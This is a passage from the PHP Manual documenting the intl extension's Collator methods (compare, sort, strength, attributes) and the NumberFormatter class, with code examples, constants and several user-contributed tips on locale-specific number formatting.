
Example #1 collator_compare()example

<?php
$s1 = 'Hello';
$s2 = 'hello';

$coll = collator_create( 'en_US' );
$res  = collator_compare( $coll, $s1, $s2 );

if ($res === false) {
    echo collator_get_error_message( $coll );
} else if( $res > 0 ) {
    echo "s1 is greater than s2\n";
} else if( $res < 0 ) {
    echo "s1 is less than s2\n";
} else {
    echo "s1 is equal to s2\n";
}
?>

The above example will output:

s1 is greater than s2

See Also

  • collator_sort() - Sort array using specified collator

User Contributed Notes

There are no user contributed notes for this page.


Create a collator

  • « Collator::compare
  • Collator::create »
  • PHP Manual
  • Collator
  • Create a collator

Collator::__construct

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::__construct — Create a collator

Description

public Collator::__construct ( string $locale )

Creates a new instance of Collator.

Parameters

locale

The locale whose collation rules should be used. Special values for locales can be passed in - if null is passed for the locale, the default locale's collation rules will be used. If "root" is passed, UCA rules will be used.

The Locale attribute is typically the most important attribute for correct sorting and matching, according to the user expectations in different countries and regions. The default » UCA ordering will only sort a few languages such as Dutch and Portuguese correctly ("correctly" meaning according to the normal expectations for users of the languages). Otherwise, you need to supply the locale to UCA in order to properly collate text for a given language. Thus a locale needs to be supplied so as to choose a collator that is correctly tailored for that locale. The choice of a locale will automatically preset the values for all of the attributes to something that is reasonable for that locale. Thus most of the time the other attributes do not need to be explicitly set. In some cases, the choice of locale will make a difference in string comparison performance and/or sort key length.

Return Values

Returns Collator instance.

Errors/Exceptions

Returns an "empty" object on error. You can use intl_get_error_code() and/or intl_get_error_message() to know what happened.

Examples

Example #1 Collator::__construct() example

<?php
$coll = new Collator( 'en_CA' );
?>

See Also

  • Collator::create() - Create a collator
  • collator_create() - Create a collator

User Contributed Notes

There are no user contributed notes for this page.


Create a collator

  • « Collator::__construct
  • Collator::getAttribute »
  • PHP Manual
  • Collator
  • Create a collator

Collator::create

collator_create

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::create -- collator_create — Create a collator

Description

Object oriented style

public static Collator Collator::create ( string $locale )

Procedural style

Collator collator_create ( string $locale )

The strings will be compared using the options already specified.

Parameters

locale

The locale containing the required collation rules. Special values for locales can be passed in - if null is passed for the locale, the default locale collation rules will be used. If empty string ("") or "root" are passed, » UCA rules will be used.

Return Values

Return new instance of Collator object, or NULL on error.

Examples

Example #1 collator_create() example

<?php
$coll = collator_create( 'en_US' );

if( !isset( $coll ) ) {
    printf( "Collator creation failed: %s\n", intl_get_error_message() );
    exit( 1 );
}
?>

See Also

  • Collator::__construct() - Create a collator

User Contributed Notes

There are no user contributed notes for this page.


Get collation attribute value

  • « Collator::create
  • Collator::getErrorCode »
  • PHP Manual
  • Collator
  • Get collation attribute value

Collator::getAttribute

collator_get_attribute

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::getAttribute -- collator_get_attribute — Get collation attribute value

Description

Object oriented style

public int Collator::getAttribute ( int $attr )

Procedural style

int collator_get_attribute ( Collator $coll , int $attr )

Get a value of an integer collator attribute.

Parameters

coll

Collator object.

attr

Attribute to get value for.

Return Values

Attribute value, or boolean FALSE on error.

Examples

Example #1 collator_get_attribute() example

<?php
$coll = collator_create( 'en_CA' );
$val = collator_get_attribute( $coll, Collator::NUMERIC_COLLATION );
if( $val === false )
{
    // Handle error.
}
?>

See Also

  • Collator constants
  • collator_set_attribute() - Set collation attribute
  • collator_get_strength() - Get current collation strength

User Contributed Notes

There are no user contributed notes for this page.


Get collator's last error code

  • « Collator::getAttribute
  • Collator::getErrorMessage »
  • PHP Manual
  • Collator
  • Get collator's last error code

Collator::getErrorCode

collator_get_error_code

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::getErrorCode -- collator_get_error_code — Get collator's last error code

Description

Object oriented style

public int Collator::getErrorCode ( void )

Procedural style

int collator_get_error_code ( Collator $coll )

Parameters

coll

Collator object.

Return Values

Error code returned by the last Collator API function call.

Examples

Example #1 collator_get_error_code() example

<?php
$coll = collator_create( 'en_US' );
if( collator_get_attribute( $coll, Collator::FRENCH_COLLATION ) === false )
        handle_error( collator_get_error_code() );
?>

See Also

  • collator_get_error_message() - Get text for collator's last error code

User Contributed Notes

There are no user contributed notes for this page.


Get text for collator's last error code

  • « Collator::getErrorCode
  • Collator::getLocale »
  • PHP Manual
  • Collator
  • Get text for collator's last error code

Collator::getErrorMessage

collator_get_error_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::getErrorMessage -- collator_get_error_message — Get text for collator's last error code

Description

Object oriented style

public string Collator::getErrorMessage ( void )

Procedural style

string collator_get_error_message ( Collator $coll )

Retrieves the message for the last error.

Parameters

coll

Collator object.

Return Values

Description of an error occurred in the last Collator API function call.

Examples

Example #1 collator_get_error_message() example

<?php
$coll = collator_create( 'lt' );
if( collator_compare( $coll, 'y', 'k' ) === false ) {
    echo collator_get_error_message( $coll );
}
?>

See Also

  • collator_get_error_code() - Get collator's last error code

User Contributed Notes

There are no user contributed notes for this page.


Get the locale name of the collator

  • « Collator::getErrorMessage
  • Collator::getSortKey »
  • PHP Manual
  • Collator
  • Get the locale name of the collator

Collator::getLocale

collator_get_locale

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::getLocale -- collator_get_locale — Get the locale name of the collator

Description

Object oriented style

public string Collator::getLocale ( int $type )

Procedural style

string collator_get_locale ( Collator $coll , int $type )

Get collector locale name.

Parameters

coll

Collator object.

type

You can choose between valid and actual locale ( Locale::VALID_LOCALE and Locale::ACTUAL_LOCALE, respectively).

Return Values

Real locale name from which the collation data comes. If the collator was instantiated from rules or an error occurred, returns boolean FALSE.

Examples

Example #1 collator_get_locale() example

<?php
$coll    = collator_create( 'en_US_California' );
$res_val = collator_get_locale( $coll, Locale::VALID_LOCALE );
$res_act = collator_get_locale( $coll, Locale::ACTUAL_LOCALE );
printf( "Valid locale name: %s\nActual locale name: %s\n",
         $res_val, $res_act );
?>

The above example will output:

Requested locale name: en_US_California
Valid locale name: en_US
Actual locale name: en

See Also

  • collator_create() - Create a collator

User Contributed Notes

There are no user contributed notes for this page.


Get sorting key for a string

  • « Collator::getLocale
  • Collator::getStrength »
  • PHP Manual
  • Collator
  • Get sorting key for a string

Collator::getSortKey

collator_get_sort_key

(PHP 5 >= 5.3.11, PECL intl >= 1.0.3)

Collator::getSortKey -- collator_get_sort_key — Get sorting key for a string

Description

Object oriented style

public string Collator::getSortKey ( string $str )

Procedural style

string collator_get_sort_key ( Collator $coll , string $str )

Return collation key for a string.

Parameters

coll

Collator object.

str

The string to produce the key from.

Return Values

Returns the collation key for the string. Collation keys can be compared directly instead of strings.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 collator_get_sort_key()example

<?php
$s1 = 'Hello';

$coll = collator_create( 'en_US' );
$res  = collator_get_sort_key( $coll, $s1);

echo urlencode($res);
?>

The above example will output:

71%3F%3FE%01%09%01%8F%08%00

See Also

  • collator_sort() - Sort array using specified collator
  • collator_sort_with_sort_keys() - Sort array using specified collator and sort keys

User Contributed Notes

There are no user contributed notes for this page.


Get current collation strength

  • « Collator::getSortKey
  • Collator::setAttribute »
  • PHP Manual
  • Collator
  • Get current collation strength

Collator::getStrength

collator_get_strength

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::getStrength -- collator_get_strength — Get current collation strength

Description

Object oriented style

public int Collator::getStrength ( void )

Procedural style

int collator_get_strength ( Collator $coll )

Parameters

coll

Collator object.

Return Values

Returns current collation strength, or boolean FALSE on error.

Examples

Example #1 collator_get_strength() example

<?php
$coll     = collator_create( 'en_US' );
$strength = collator_get_strength( $coll );
?>

See Also

  • Collator constants
  • collator_set_strength() - Set collation strength
  • collator_get_attribute() - Get collation attribute value

User Contributed Notes

There are no user contributed notes for this page.


Set collation attribute

  • « Collator::getStrength
  • Collator::setStrength »
  • PHP Manual
  • Collator
  • Set collation attribute

Collator::setAttribute

collator_set_attribute

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::setAttribute -- collator_set_attribute — Set collation attribute

Description

Object oriented style

public bool Collator::setAttribute ( int $attr , int $val )

Procedural style

bool collator_set_attribute ( Collator $coll , int $attr , int $val )

Parameters

coll

Collator object.

attr

Attribute.

val

Attribute value.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 collator_set_attribute() example

<?php
$coll = collator_create( 'en_CA' );
$val  = collator_get_attribute( $coll, Collator::NUMERIC_COLLATION );
if ($val === false) {
    // Handle error.
} elseif ($val === Collator::ON) {
    // Do something useful.
}
?>

See Also

  • Collator constants
  • collator_get_attribute() - Get collation attribute value
  • collator_set_strength() - Set collation strength

User Contributed Notes

There are no user contributed notes for this page.


Set collation strength

  • « Collator::setAttribute
  • Collator::sortWithSortKeys »
  • PHP Manual
  • Collator
  • Set collation strength

Collator::setStrength

collator_set_strength

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::setStrength -- collator_set_strength — Set collation strength

Description

Object oriented style

public bool Collator::setStrength ( int $strength )

Procedural style

bool collator_set_strength ( Collator $coll , int $strength )

The » ICU Collation Service supports many levels of comparison (named "Levels", but also known as "Strengths"). Having these categories enables ICU to sort strings precisely according to local conventions. However, by allowing the levels to be selectively employed, searching for a string in text can be performed with various matching conditions.

  1. Primary Level: Typically, this is used to denote differences between base characters (for example, "a" < "b"). It is the strongest difference. For example, dictionaries are divided into different sections by base character. This is also called the level1 strength.

  2. Secondary Level: Accents in the characters are considered secondary differences (for example, "as" < "às" < "at"). Other differences between letters can also be considered secondary differences, depending on the language. A secondary difference is ignored when there is a primary difference anywhere in the strings. This is also called the level2 strength.

    Note:

    Note: In some languages (such as Danish), certain accented letters are considered to be separate base characters. In most languages, however, an accented letter only has a secondary difference from the unaccented version of that letter.

  3. Tertiary Level: Upper and lower case differences in characters are distinguished at the tertiary level (for example, "ao" < "Ao" < "aò"). In addition, a variant of a letter differs from the base form on the tertiary level (such as "A" and " "). Another example is the difference between large and small Kana. A tertiary difference is ignored when there is a primary or secondary difference anywhere in the strings. This is also called the level3 strength.

  4. Quaternary Level: When punctuation is ignored (see Ignoring Punctuations ) at level 13, an additional level can be used to distinguish words with and without punctuation (for example, "ab" < "a-b" < "aB"). This difference is ignored when there is a primary, secondary or tertiary difference. This is also known as the level4 strength. The quaternary level should only be used if ignoring punctuation is required or when processing Japanese text (see Hiragana processing).

  5. Identical Level: When all other levels are equal, the identical level is used as a tiebreaker. The Unicode code point values of the NFD form of each string are compared at this level, just in case there is no difference at levels 14. For example, Hebrew cantillation marks are only distinguished at this level. This level should be used sparingly, as only code point values differences between two strings is an extremely rare occurrence. Using this level substantially decreases the performance for both incremental comparison and sort key generation (as well as increasing the sort key length). It is also known as level 5 strength.

For example, people may choose to ignore accents or ignore accents and case when searching for text. Almost all characters are distinguished by the first three levels, and in most locales the default value is thus Tertiary. However, if Alternate is set to be Shifted, then the Quaternary strength can be used to break ties among whitespace, punctuation, and symbols that would otherwise be ignored. If very fine distinctions among characters are required, then the Identical strength can be used (for example, Identical Strength distinguishes between the Mathematical Bold Small A and the Mathematical Italic Small A.). However, using levels higher than Tertiary the Identical strength result in significantly longer sort keys, and slower string comparison performance for equal strings.

Parameters

coll

Collator object.

strength

Strength to set.

Possible values are:

  • Collator::PRIMARY

  • Collator::SECONDARY

  • Collator::TERTIARY

  • Collator::QUATERNARY

  • Collator::IDENTICAL

  • Collator::DEFAULT_STRENGTH

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 collator_set_strength() example

<?php
$arr  = array( 'aò', 'Ao', 'ao' );
$coll = collator_create( 'en_US' );

// Sort array using default strength.
collator_sort( $coll, $arr );
var_export( $arr );

// Sort array using primary strength.
collator_set_strength( $coll, Collator::PRIMARY );
collator_sort( $coll, $arr );
var_export( $arr );
?>

The above example will output:

array (
  0 => 'ao',
  1 => 'Ao',
  2 => 'aò',
)
array (
  0 => 'aò',
  1 => 'Ao',
  2 => 'ao',
)

See Also

  • Collator constants
  • collator_get_strength() - Get current collation strength

User Contributed Notes

There are no user contributed notes for this page.


Sort array using specified collator and sort keys

  • « Collator::setStrength
  • Collator::sort »
  • PHP Manual
  • Collator
  • Sort array using specified collator and sort keys

Collator::sortWithSortKeys

collator_sort_with_sort_keys

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::sortWithSortKeys -- collator_sort_with_sort_keys — Sort array using specified collator and sort keys

Description

Object oriented style

public bool Collator::sortWithSortKeys ( array &$arr )

Procedural style

bool collator_sort_with_sort_keys ( Collator $coll , array &$arr )

Similar to collator_sort() but uses ICU sorting keys produced by ucol_getSortKey() to gain more speed on large arrays.

Parameters

coll

Collator object.

arr

Array of strings to sort

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 collator_sort_with_sort_keys() example

<?php
$arr  = array( 'Köpfe', 'Kypper', 'Kopfe' );
$coll = collator_create( 'sv' );

collator_sort_with_sort_keys( $coll, $arr );
var_export( $arr );
?>

The above example will output:

array (
  0 => 'Kopfe',
  1 => 'Kypper',
  2 => 'Köpfe',
)

See Also

  • Collator constants
  • collator_sort() - Sort array using specified collator
  • collator_asort() - Sort array maintaining index association

User Contributed Notes

There are no user contributed notes for this page.


Sort array using specified collator

  • « Collator::sortWithSortKeys
  • NumberFormatter »
  • PHP Manual
  • Collator
  • Sort array using specified collator

Collator::sort

collator_sort

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::sort -- collator_sort — Sort array using specified collator

Description

Object oriented style

public bool Collator::sort ( array &$arr [, int $sort_flag ] )

Procedural style

bool collator_sort ( Collator $coll , array &$arr [, int $sort_flag ] )

This function sorts an array according to current locale rules.

Equivalent to standard PHP sort() .

Parameters

coll

Collator object.

arr

Array of strings to sort.

sort_flag

Optional sorting type, one of the following:

  • Collator::SORT_REGULAR - compare items normally (don't change types)

  • Collator::SORT_NUMERIC - compare items numerically

  • Collator::SORT_STRING - compare items as strings

Default sorting type is Collator::SORT_REGULAR. It is also used if an invalid sort_flag value has been specified.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 collator_sort() example

<?php
$coll = collator_create( 'en_US' );
$arr  = array( 'at', 'às', 'as' );

var_export( $arr );
collator_sort( $coll, $arr );
var_export( $arr );
?>

The above example will output:

array (
  0 => 'at',
  1 => 'às',
  2 => 'as',
)array (
  0 => 'as',
  1 => 'às',
  2 => 'at',
)

See Also

  • Collator constants
  • collator_asort() - Sort array maintaining index association
  • collator_sort_with_sort_keys() - Sort array using specified collator and sort keys

User Contributed Notes

There are no user contributed notes for this page.


The NumberFormatter class

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Introduction

Programs store and operate on numbers using a locale-independent binary representation. When displaying or printing a number it is converted to a locale-specific string. For example, the number 12345.67 is "12,345.67" in the US, "12 345,67" in France and "12.345,67" in Germany.

By invoking the methods provided by the NumberFormatter class, you can format numbers, currencies, and percentages according to the specified or default locale. NumberFormatter is locale-sensitive so you need to create a new NumberFormatter for each locale. NumberFormatter methods format primitive-type numbers, such as double and output the number as a locale-specific string.

For currencies you can use currency format type to create a formatter that returns a string with the formatted number and the appropriate currency sign. Of course, the NumberFormatter class is unaware of exchange rates so, the number output is the same regardless of the specified currency. This means that the same number has different monetary values depending on the currency locale. If the number is 9988776.65 the results will be:

  • 9 988 776,65 € in France
  • 9.988.776,65 € in Germany
  • $9,988,776.65 in the United States

In order to format percentages, create a locale-specific formatter with percentage format type. With this formatter, a decimal fraction such as 0.75 is displayed as 75%.

For more complex formatting, like spelled-out numbers, the rule-based number formatters are used.

Class synopsis

NumberFormatter {
/* Methods */
public __construct ( string $locale , int $style [, string $pattern ] )
public static NumberFormatter create ( string $locale , int $style [, string $pattern ] )
public string formatCurrency ( float $value , string $currency )
public string format ( number $value [, int $type ] )
public int getAttribute ( int $attr )
public int getErrorCode ( void )
public string getErrorMessage ( void )
public string getLocale ([ int $type ] )
public string getPattern ( void )
public string getSymbol ( int $attr )
public string getTextAttribute ( int $attr )
public float parseCurrency ( string $value , string &$currency [, int &$position ] )
public mixed parse ( string $value [, int $type [, int &$position ]] )
public bool setAttribute ( int $attr , int $value )
public bool setPattern ( string $pattern )
public bool setSymbol ( int $attr , string $value )
public bool setTextAttribute ( int $attr , string $value )
}

Predefined Constants

These styles are used by the numfmt_create() to define the type of the formatter.

NumberFormatter::PATTERN_DECIMAL (integer)
Decimal format defined by pattern
NumberFormatter::DECIMAL (integer)
Decimal format
NumberFormatter::CURRENCY (integer)
Currency format
NumberFormatter::PERCENT (integer)
Percent format
NumberFormatter::SCIENTIFIC (integer)
Scientific format
NumberFormatter::SPELLOUT (integer)
Spellout rule-based format
NumberFormatter::ORDINAL (integer)
Ordinal rule-based format
NumberFormatter::DURATION (integer)
Duration rule-based format
NumberFormatter::PATTERN_RULEBASED (integer)
Rule-based format defined by pattern
NumberFormatter::DEFAULT_STYLE (integer)
Default format for the locale
NumberFormatter::IGNORE (integer)
Alias for PATTERN_DECIMAL

These constants define how the numbers are parsed or formatted. They should be used as arguments to numfmt_format() and numfmt_parse().

NumberFormatter::TYPE_DEFAULT (integer)
Derive the type from variable type
NumberFormatter::TYPE_INT32 (integer)
Format/parse as 32-bit integer
NumberFormatter::TYPE_INT64 (integer)
Format/parse as 64-bit integer
NumberFormatter::TYPE_DOUBLE (integer)
Format/parse as floating point value
NumberFormatter::TYPE_CURRENCY (integer)
Format/parse as currency value

Number format attribute used by numfmt_get_attribute() and numfmt_set_attribute().

NumberFormatter::PARSE_INT_ONLY (integer)
Parse integers only.
NumberFormatter::GROUPING_USED (integer)
Use grouping separator.
NumberFormatter::DECIMAL_ALWAYS_SHOWN (integer)
Always show decimal point.
NumberFormatter::MAX_INTEGER_DIGITS (integer)
Maximum integer digits.
NumberFormatter::MIN_INTEGER_DIGITS (integer)
Minimum integer digits.
NumberFormatter::INTEGER_DIGITS (integer)
Integer digits.
NumberFormatter::MAX_FRACTION_DIGITS (integer)
Maximum fraction digits.
NumberFormatter::MIN_FRACTION_DIGITS (integer)
Minimum fraction digits.
NumberFormatter::FRACTION_DIGITS (integer)
Fraction digits.
NumberFormatter::MULTIPLIER (integer)
Multiplier.
NumberFormatter::GROUPING_SIZE (integer)
Grouping size.
NumberFormatter::ROUNDING_MODE (integer)
Rounding Mode.
NumberFormatter::ROUNDING_INCREMENT (integer)
Rounding increment.
NumberFormatter::FORMAT_WIDTH (integer)
The width to which the output of format() is padded.
NumberFormatter::PADDING_POSITION (integer)
The position at which padding will take place. See pad position constants for possible argument values.
NumberFormatter::SECONDARY_GROUPING_SIZE (integer)
Secondary grouping size.
NumberFormatter::SIGNIFICANT_DIGITS_USED (integer)
Use significant digits.
NumberFormatter::MIN_SIGNIFICANT_DIGITS (integer)
Minimum significant digits.
NumberFormatter::MAX_SIGNIFICANT_DIGITS (integer)
Maximum significant digits.
NumberFormatter::LENIENT_PARSE (integer)
Lenient parse mode used by rule-based formats.

Number format text attribute used by numfmt_get_text_attribute() and numfmt_set_text_attribute().

NumberFormatter::POSITIVE_PREFIX (integer)
Positive prefix.
NumberFormatter::POSITIVE_SUFFIX (integer)
Positive suffix.
NumberFormatter::NEGATIVE_PREFIX (integer)
Negative prefix.
NumberFormatter::NEGATIVE_SUFFIX (integer)
Negative suffix.
NumberFormatter::PADDING_CHARACTER (integer)
The character used to pad to the format width.
NumberFormatter::CURRENCY_CODE (integer)
The ISO currency code.
NumberFormatter::DEFAULT_RULESET (integer)
The default rule set. This is only available with rule-based formatters.
NumberFormatter::PUBLIC_RULESETS (integer)
The public rule sets. This is only available with rule-based formatters. This is a read-only attribute. The public rulesets are returned as a single string, with each ruleset name delimited by ';' (semicolon).

Number format symbols used by numfmt_get_symbol() and numfmt_set_symbol().

NumberFormatter::DECIMAL_SEPARATOR_SYMBOL (integer)
The decimal separator.
NumberFormatter::GROUPING_SEPARATOR_SYMBOL (integer)
The grouping separator.
NumberFormatter::PATTERN_SEPARATOR_SYMBOL (integer)
The pattern separator.
NumberFormatter::PERCENT_SYMBOL (integer)
The percent sign.
NumberFormatter::ZERO_DIGIT_SYMBOL (integer)
Zero.
NumberFormatter::DIGIT_SYMBOL (integer)
Character representing a digit in the pattern.
NumberFormatter::MINUS_SIGN_SYMBOL (integer)
The minus sign.
NumberFormatter::PLUS_SIGN_SYMBOL (integer)
The plus sign.
NumberFormatter::CURRENCY_SYMBOL (integer)
The currency symbol.
NumberFormatter::INTL_CURRENCY_SYMBOL (integer)
The international currency symbol.
NumberFormatter::MONETARY_SEPARATOR_SYMBOL (integer)
The monetary separator.
NumberFormatter::EXPONENTIAL_SYMBOL (integer)
The exponential symbol.
NumberFormatter::PERMILL_SYMBOL (integer)
Per mill symbol.
NumberFormatter::PAD_ESCAPE_SYMBOL (integer)
Escape padding character.
NumberFormatter::INFINITY_SYMBOL (integer)
Infinity symbol.
NumberFormatter::NAN_SYMBOL (integer)
Not-a-number symbol.
NumberFormatter::SIGNIFICANT_DIGIT_SYMBOL (integer)
Significant digit symbol.
NumberFormatter::MONETARY_GROUPING_SEPARATOR_SYMBOL (integer)
The monetary grouping separator.

Rounding mode values used by numfmt_get_attribute()
and numfmt_set_attribute() with
NumberFormatter::ROUNDING_MODE attribute.

NumberFormatter::ROUND_CEILING (integer)
Rounding mode to round towards positive infinity.
NumberFormatter::ROUND_DOWN (integer)
Rounding mode to round towards zero.
NumberFormatter::ROUND_FLOOR (integer)
Rounding mode to round towards negative infinity.
NumberFormatter::ROUND_HALFDOWN (integer)
Rounding mode to round towards "nearest neighbor" unless both neighbors are equidistant, in which case round down.
NumberFormatter::ROUND_HALFEVEN (integer)
Rounding mode to round towards the "nearest neighbor" unless both neighbors are equidistant, in which case, round towards the even neighbor.
NumberFormatter::ROUND_HALFUP (integer)
Rounding mode to round towards "nearest neighbor" unless both neighbors are equidistant, in which case round up.
NumberFormatter::ROUND_UP (integer)
Rounding mode to round away from zero.

Pad position values used by numfmt_get_attribute()
and numfmt_set_attribute() with
NumberFormatter::PADDING_POSITION attribute.

NumberFormatter::PAD_AFTER_PREFIX (integer)
Pad characters inserted after the prefix.
NumberFormatter::PAD_AFTER_SUFFIX (integer)
Pad characters inserted after the suffix.
NumberFormatter::PAD_BEFORE_PREFIX (integer)
Pad characters inserted before the prefix.
NumberFormatter::PAD_BEFORE_SUFFIX (integer)
Pad characters inserted before the suffix.

See Also

  • » ICU formatting documentation
  • » ICU number formatters
  • » ICU decimal formatters
  • » ICU rule-based number formatters

Table of Contents

  • NumberFormatter::create — Create a number formatter
  • NumberFormatter::formatCurrency — Format a currency value
  • NumberFormatter::format — Format a number
  • NumberFormatter::getAttribute — Get an attribute
  • NumberFormatter::getErrorCode — Get formatter's last error code.
  • NumberFormatter::getErrorMessage — Get formatter's last error message.
  • NumberFormatter::getLocale — Get formatter locale
  • NumberFormatter::getPattern — Get formatter pattern
  • NumberFormatter::getSymbol — Get a symbol value
  • NumberFormatter::getTextAttribute — Get a text attribute
  • NumberFormatter::parseCurrency — Parse a currency number
  • NumberFormatter::parse — Parse a number
  • NumberFormatter::setAttribute — Set an attribute
  • NumberFormatter::setPattern — Set formatter pattern
  • NumberFormatter::setSymbol — Set a symbol value
  • NumberFormatter::setTextAttribute — Set a text attribute

User Contributed Notes

giorgio dot liscio at email dot it 21-Mar-2011 07:59
this class seems to be painful: it is not, formatting and parsing are highly customizable, but what you probably need is really simple:

if you want to localize a number use:

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::DECIMAL);
echo $a->format(12345.12345) . "<br>"; // outputs 12.345,12
$a->setAttribute(\NumberFormatter::MIN_FRACTION_DIGITS, 0);
$a->setAttribute(\NumberFormatter::MAX_FRACTION_DIGITS, 100); // by default some locales got max 2 fraction digits, that is probably not what you want
echo $a->format(12345.12345) . "<br>"; // outputs 12.345,12345
?>

if you want to print money use:

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
echo $a->format(12345.12345) . "<br>"; // outputs €12.345,12
?>

if you have money data stored as (for example) US dollars and you want to print them using the it-IT notation, you need to use

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
echo $a->formatCurrency(12345, "USD") . "<br>"; // outputs $ 12.345,00 and it is formatted using the italian notation (comma as decimal separator)
?>

another useful example about currency (how to obtain the currency name by a locale string):

<?php
$frontEndFormatter = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
$adminFormatter = new \NumberFormatter("en-US", \NumberFormatter::CURRENCY);
$symbol = $adminFormatter->getSymbol(\NumberFormatter::INTL_CURRENCY_SYMBOL); // got USD
echo $frontEndFormatter->formatCurrency(12345.12345,  $symbol) . "<br>";
?>
sudheer at binaryvibes dot co dot in 12-Jan-2011 09:41
Sample script to print number in English.

<?php
$f = new NumberFormatter("en", NumberFormatter::SPELLOUT);
echo $f->format(123456);

?>

Produces the result:
one hundred twenty-three thousand four hundred fifty-six


Create a number formatter

  • « NumberFormatter
  • NumberFormatter::formatCurrency »
  • PHP Manual
  • NumberFormatter
  • Create a number formatter

NumberFormatter::create

numfmt_create

NumberFormatter::__construct

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::create -- numfmt_create -- NumberFormatter::__construct — Create a number formatter

Description

Object oriented style (method)

public static NumberFormatter NumberFormatter::create ( string $locale , int $style [, string $pattern ] )

Procedural style

NumberFormatter numfmt_create ( string $locale , int $style [, string $pattern ] )

Object oriented style (constructor):

public NumberFormatter::__construct ( string $locale , int $style [, string $pattern ] )

Creates a number formatter.

Parameters

locale

Locale in which the number would be formatted (locale name, e.g. en_CA).

style

Style of the formatting, one of the format style constants. If NumberFormatter::PATTERN_DECIMAL or NumberFormatter::PATTERN_RULEBASED is passed then the number format is opened using the given pattern, which must conform to the syntax described in » ICU DecimalFormat documentation or » ICU RuleBasedNumberFormat documentation, respectively.

pattern

Pattern string if the chosen style requires a pattern.

Return Values

Returns NumberFormatter object or FALSE on error.

Examples

Example #1 numfmt_create() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
$fmt = numfmt_create( 'it', NumberFormatter::SPELLOUT );
echo numfmt_format($fmt, 1142)."\n";
?>

Example #2 NumberFormatter::create() example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo $fmt->format(1234567.891234567890000)."\n";
$fmt = new NumberFormatter( 'it', NumberFormatter::SPELLOUT );
echo $fmt->format(1142)."\n";
?>

The above example will output:

1.234.567,891
millicentoquarantadue

See Also

  • numfmt_format() - Format a number
  • numfmt_parse() - Parse a number

User Contributed Notes

daniel dot rhodes at warpasylum dot co dot uk 19-Aug-2011 05:43
It should be noted that the locale string passed into NumberFormatter's constructor doesn't play with UCA keywords quite as readily as, say, the Collator and IntlDateFormatter classes' constructors.

According to the Unicode spec (http://www.unicode.org/reports/tr35), I should be able to specify a locale of "ja_JP@numbers=jpanfin" which, for spellout mode, should give me Japanese financial (ie. anti-forgery) numerals. When passed into NumberFormatter's constructor, "ja_JP@numbers=jpanfin" doesn't work.

However, when I look at a dump of NumberFormatter::getPattern() for the ja_JP locale, I see that the financial numerals *are* in there (as %financial). Here's how we wrangle them out of the NumberFormatter:

<?php
$number = 1234567890;

$formatter = new NumberFormatter('ja_JP', NumberFormatter::SPELLOUT);

$formatter->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%financial");

echo $formatter->format($number);
//above gives [拾弐億参千四百伍拾六萬七千八百九拾] (as opposed to [十二億三千四百五十六万七千八百九十]) - bingo!
?>
F. Poirotte 15-Nov-2009 05:26
When formatting durations using the NumberFormatter::DURATION type, you may also need to use NumberFormatter::setTextAttribute to get the desired output.

<?php

$fmt = new NumberFormatter('en', NumberFormatter::DURATION);
// Outputs: string(7) "3:25:45"
var_dump($fmt->format(12345));

// "%in-numerals" is the default ruleset, so this results in the same as above.
$fmt->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%in-numerals");
// Outputs: string(7) "3:25:45"
var_dump($fmt->format(12345));

$fmt->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%with-words");
// Outputs: string(31) "3 hours, 25 minutes, 45 seconds"
var_dump($fmt->format(12345));

$fmt2 = new NumberFormatter('fr', NumberFormatter::DURATION);
// Outputs: string(7) "12 345"
// See notes below.
var_dump($fmt2->format(12345));

?>

This is a little counter-intuitive because there is not much doc available about the DURATION type.

Also, as far as I can tell, only the English (en) locale has support for the "%in-numerals" & "%with-words" rulesets. Other locales seem to simply format the input as if the DECIMAL type had been used (at least using "fr" or "de" as the target locale).

One way to provide that feature across different locales is to extract the ruleset implicitely used by NumberFormatter::DURATION and adapt it for the locales you're targetting. Use NumberFormatter::getPattern to extract the ruleset.


Format a currency value

  • « NumberFormatter::create
  • NumberFormatter::format »
  • PHP Manual
  • NumberFormatter
  • Format a currency value

NumberFormatter::formatCurrency

numfmt_format_currency

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::formatCurrency -- numfmt_format_currency — Format a currency value

Description

Object oriented style

public string NumberFormatter::formatCurrency ( float $value , string $currency )

Procedural style

string numfmt_format_currency ( NumberFormatter $fmt , float $value , string $currency )

Format the currency value according to the formatter rules.

Parameters

fmt

NumberFormatter object.

value

The numeric currency value.

currency

The 3-letter ISO 4217 currency code indicating the currency to use.

Return Values

String representing the formatted currency value.

Examples

Example #1 numfmt_format_currency() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::CURRENCY );
echo numfmt_format_currency($fmt, 1234567.891234567890000, "EUR")."\n";
echo numfmt_format_currency($fmt, 1234567.891234567890000, "RUR")."\n";
